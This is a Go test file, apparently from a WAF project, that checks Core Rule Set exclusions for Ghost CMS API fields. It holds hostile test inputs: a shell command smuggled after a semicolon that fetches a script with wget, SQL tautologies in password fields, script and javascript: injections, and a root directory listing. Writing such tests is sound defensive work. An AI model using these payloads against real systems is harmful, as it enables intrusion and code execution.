check / check (push) Waiting to run
Ghost 6.76.0's ordinary traffic, recorded in `testdata/ghost-requests.txt`, passes at the default settings and while bodies are read. It covers public pages, members' sign-up and sign-in, the admin, the editor saving and publishing posts and pages with code blocks and HTML cards, tags, settings, staff invitations, uploads, newsletter settings, and both APIs. The new `ghost.conf`, the sixteenth change, lets through `filter`, the member `search` and the embed `url` in the query, and plain text, addresses, articles, code injection and passwords in JSON bodies. A `<script>` element and a `javascript:` link stay refused in articles and code injection. `README.md` lists Ghost; `SPEC.md` lists the change. Model: opus-5-5
355 lines
13 KiB
Go
355 lines
13 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
// ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const ghostThreshold = 5
|
|
|
|
// Paths of Ghost's Admin API, Content API and members' API.
|
|
const (
|
|
ghostPosts = "/ghost/api/admin/posts/"
|
|
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
|
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
|
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
|
ghostMembers = "/ghost/api/admin/members/"
|
|
ghostSettings = "/ghost/api/admin/settings/"
|
|
ghostMember = "/members/api/member/"
|
|
ghostMagicLink = "/members/api/send-magic-link/"
|
|
)
|
|
|
|
// ghostField is a field of a JSON body Ghost receives: the request that
|
|
// sends it, and its body, with VALUE where the field's value goes.
|
|
type ghostField struct{ method, target, body string }
|
|
|
|
// with returns f's body holding value, escaped for JSON.
|
|
func (f ghostField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return strings.ReplaceAll(f.body, "VALUE", strings.Trim(string(quoted), `"`))
|
|
}
|
|
|
|
// ghostTextFields hold plain text and skip the rules of 900353.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostTextFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
|
{http.MethodPost, "/ghost/api/admin/pages/", `{"pages":[{"slug":"VALUE"}]}`},
|
|
{http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"description":"VALUE"}]}`},
|
|
{http.MethodPost, "/ghost/api/admin/labels/", `{"labels":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"labels":[{"name":"VALUE"}]}]}`},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"sender_name":"VALUE"}]}`},
|
|
{http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostMember, ghostMemberName},
|
|
}
|
|
|
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
|
const ghostMemberName = `{"name":"VALUE"}`
|
|
|
|
// ghostAddressFields hold a member's email address and skip 930120, 932120
|
|
// and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddressFields = []ghostField{
|
|
{http.MethodPost, ghostMagicLink, `{"email":"VALUE","emailType":"signup"}`},
|
|
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostArticleFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPost, ghostPosts + "?source=html", `{"posts":[{"html":"VALUE"}]}`},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
|
{http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"footer_content":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostCodeFields hold code injection or a setting and skip the rules of
|
|
// 900356.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostCodeFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"codeinjection_head":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"codeinjection_foot":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut, ghostSettings,
|
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// The query fields that skip some rules, each ending in "=".
|
|
const (
|
|
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
|
ghostSearch = ghostMembers + "?limit=100&search="
|
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
|
)
|
|
|
|
// ghostQueryFields are the query fields that skip some rules.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostQueryFields = []string{
|
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
|
}
|
|
|
|
// ghostURLs are addresses 930120 and 932120 refused in url.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLs = []string{
|
|
"https://github.com/example/site/blob/main/.htaccess",
|
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
|
"https://example.com/docs/python3/",
|
|
}
|
|
|
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddresses = []string{
|
|
"erin.htaccess@example.com",
|
|
"python3.dev@example.com",
|
|
"dave.powershell@example.com",
|
|
}
|
|
|
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
|
// embed, which each of the rules of 900355 refused.
|
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
|
`<pre><code>#!/usr/bin/env python3
|
|
cat /etc/hosts | grep example
|
|
ls -la /var/www/html/.htaccess
|
|
powershell -ExecutionPolicy Bypass -File build.ps1
|
|
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
|
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
|
window.onload = () => alert('ready');</code></pre>` +
|
|
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
|
`<img src="https://images.example.com/banner.png" ` +
|
|
`onclick="this.classList.toggle('big')">`
|
|
|
|
// ghostCodeInjection is ordinary code injection for the head of a page.
|
|
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
|
`<link rel="preconnect" href="https://fonts.example.com">` +
|
|
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
|
|
|
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
|
// holding value, or lets it through.
|
|
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{jsonBody}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("%s %s %.300s let through: %+v", f.method, f.target, body, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
|
// target, a query field and its value, or lets it through.
|
|
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
|
t.Helper()
|
|
|
|
got := inspect(t, atDefaults(t), get(target))
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
fields := slices.Concat(ghostTextFields, ghostArticleFields, ghostCodeFields)
|
|
for _, f := range fields {
|
|
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
|
}
|
|
|
|
// filter as the admin's pickers write it, and search as typed.
|
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"), false)
|
|
wantGhostQuery(t, ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"), false)
|
|
wantGhostQuery(t, ghostSearch+encoded, false)
|
|
}
|
|
|
|
for _, address := range ghostURLs {
|
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, f := range ghostArticleFields {
|
|
wantGhostField(t, f, ghostArticle, false)
|
|
}
|
|
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostCodeInjection, false)
|
|
}
|
|
|
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
|
url.QueryEscape("tag:powershell+status:[draft,scheduled,published,sent]"), false)
|
|
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
|
}
|
|
|
|
// ghostAttacks are an SQL injection, a path traversal and a script
|
|
// injection, not escaped.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
|
|
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
|
|
|
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range ghostAttacks {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, attack, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
|
}
|
|
}
|
|
|
|
// A command after a separator stays refused wherever its rules do not
|
|
// misfire: in the query fields, the plain text and the addresses.
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
|
wantGhostField(t, f, commandAfterASeparator, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(commandAfterASeparator), true)
|
|
}
|
|
|
|
// The articles and code injection carry HTML on purpose, but a script
|
|
// element and a javascript: link are still refused there.
|
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
|
// take no such field, and when the query has a field of the same name.
|
|
const (
|
|
title = `{"posts":[{"title":"python3"}]}`
|
|
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/posts/", title},
|
|
{"/ghost/api/content/posts/", title},
|
|
{ghostPosts + "?json.posts.0.title=x", title},
|
|
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
|
{"/api/posts/", article},
|
|
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
|
{ghostPosts + "?json.posts.0.lexical=x", article},
|
|
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
|
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
|
{ghostPosts, `{"email":"python3.dev@example.com"}`},
|
|
{"/ghost/api/admin/session/", `{"username":"x","pass":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", refused.target, refused.body, got)
|
|
}
|
|
}
|
|
|
|
// The query fields keep their rules off Ghost's paths, and in other
|
|
// query fields there. search skips its rules only on the Admin API, and
|
|
// url only on the editor's lookup of embeds.
|
|
for _, target := range []string{
|
|
"/api/posts/?filter=powershell",
|
|
"/ghost/posts/?filter=powershell",
|
|
"/ghost/api/admin/posts/?order=powershell",
|
|
"/ghost/api/content/posts/?search=python3",
|
|
"/members/api/member/?search=python3",
|
|
"/ghost/api/admin/posts/?url=powershell",
|
|
"/oembed/?url=powershell",
|
|
} {
|
|
wantGhostQuery(t, target, true)
|
|
}
|
|
}
|
|
|
|
func TestGhostPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Ghost's password fields, each sent to the path that takes it. A dot
|
|
// nests a field, as Ghost nests it in an array.
|
|
fields := []passwordFields{
|
|
{"/ghost/api/admin/session/", jsonBody, []string{passwordKey}},
|
|
{"/ghost/api/admin/authentication/setup/", jsonBody, []string{"setup.0.password"}},
|
|
{
|
|
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
|
[]string{"invitation.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
|
[]string{"password_reset.0.newPassword", "password_reset.0.ne2Password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/users/password/", jsonBody,
|
|
[]string{
|
|
"password.0.oldPassword", "password.0.newPassword",
|
|
"password.0.ne2Password",
|
|
},
|
|
},
|
|
}
|
|
|
|
wantPasswordFieldsPass(t, fields)
|
|
}
|